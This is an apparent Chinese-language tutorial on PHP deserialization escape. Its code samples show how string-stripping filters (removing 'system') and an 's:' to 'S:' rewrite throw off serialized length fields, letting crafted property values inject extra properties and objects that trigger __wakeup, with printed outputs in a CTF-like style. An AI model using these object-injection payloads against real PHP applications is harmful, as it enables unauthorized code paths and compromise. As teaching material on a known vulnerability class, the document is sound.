php反序列化逃逸

类型    结构String    s:size:value;Integer    i:value;Boolean    b:value;(1或0)Null    N;Array    a:size:{key definition;value definition;(repeated per element)}Object    O:strlen(object name):object name:object size:{s:strlen(property name):property name:property definition;(repeated per property)}
例如：O:4:"user":2:{s:3:"age";i:18;s:4:"name";s:3:"LEO";}O代表对象；4代表对象名长度；2代表2个成员变量；

<?php
class A{    public $v1 = "a";}
//正常序列化echo serialize(new A());// O:1:"A":1:{s:2:"v1";s:1:"a";}

//反序列化以;}结束，后面的字符串不影响正常的反序列化$b = unserialize('O:1:"A":1:{s:2:"v1";s:1:"a";}dasdasdasdasdasdsa');var_dump($b);/*object(A)#1 (1) {["v1"]=>  string(1) "a"}*/

<?php
class A{    public $v1 = "abcsystem()";    public $v2 = "123";}
$data =  serialize(new A());//O:1:"A":2:{s:2:"v1";s:1:"a";s:2:"v2";s:1:"b";}
$data = str_replace("system()","",$data);//echo $data;//O:1:"A":2:{s:2:"v1";s:11:"abc";s:2:"v2";s:3:"123";}//这个地方 s:11,代表属性有11个字符串，但是实际上经过过滤以后只剩下abc三个字符串了，这里就存在php反序列化逃逸的问题

class B{    public $v1 = "abcsystem()system()system()";    public $v2 = '1234567";s:2:"v3";s:1:"a";};';}
$data =  serialize(new B());$data = str_replace("system()","",$data);echo $data."n";var_dump(unserialize($data));/*O:1:"B":2:{s:2:"v1";s:27:"abc";s:2:"v2";s:28:"1234567";s:2:"v3";s:1:"a";};";}object(B)#1 (3) {  ["v1"]=>  string(27) "abc";s:2:"v2";s:28:"1234567"  ["v2"]=>  string(28) "1234567";s:2:"v3";s:1:"a";};"["v3"]=>  string(1) "a"}*/

<?php
//object 反序列化逃逸class A{    public $v1 = "systemsystemsystem123456";    public $v2 = '1";s:2:"v3";O:1:"C":1:{s:1:"a";s:3:"123";}}';    // 准备逃逸的字符}
class C{    public $a = "1";}
$a = new A();$data = serialize($a);
$data = str_replace("system", "", $data);echo $data."n";var_dump(unserialize($data));/*O:1:"A":2:{s:2:"v1";s:24:"123456";s:2:"v2";s:43:"1";s:2:"v3";O:1:"C":1:{s:1:"a";s:3:"123";}}";}object(A)#2 (3) {  ["v1"]=>  string(24) "123456";s:2:"v2";s:43:"1"  ["v2"]=>  string(43) "1";s:2:"v3";O:1:"C":1:{s:1:"a";s:3:"123";}}"["v3"]=>  object(C)#3 (1) {  ["a"]=>    string(3) "123"  }}*/

<?php
class A{    public function __wakeup()    {        echo "flag";    }}
$post = $_POST;$data = serialize($post);$serialize_data=  preg_replace('/s:/', 'S:', $data) . "n";unserialize($serialize_data);

<?php
class A{    public function __wakeup()    {        echo "flag";    }}
$post = $_POST;$data = serialize($post);$serialize_data=  preg_replace('/s:/', 'S:', $data) . "n";unserialize($serialize_data);
//$a = new A();//echo serialize($a);//exit();
$post = array("a" => '0000000',    'S:1:"a";S:1:"a";O:1:"A":0:{}}' => '',);
$serialize_data = serialize($post);echo $serialize_data . "n";;//a:2:{s:1:"a";s:21:"0000000";s:29:"S:1:"a";S:1:"a";O:1:"A":0:{}}";s:0:"";}
$serialize_data=  preg_replace('/s:/', 'S:', $serialize_data) . "n";echo $serialize_data;//a:2:{S:1:"a";S:21:"0000000";S:29:"S:1:"a";S:1:"a";O:1:"A":0:{}}";S:0:"";}
$data = unserialize($serialize_data);var_dump($data);/*array(1) {    ["a"]=>  object(A)#1 (0) {  }}*/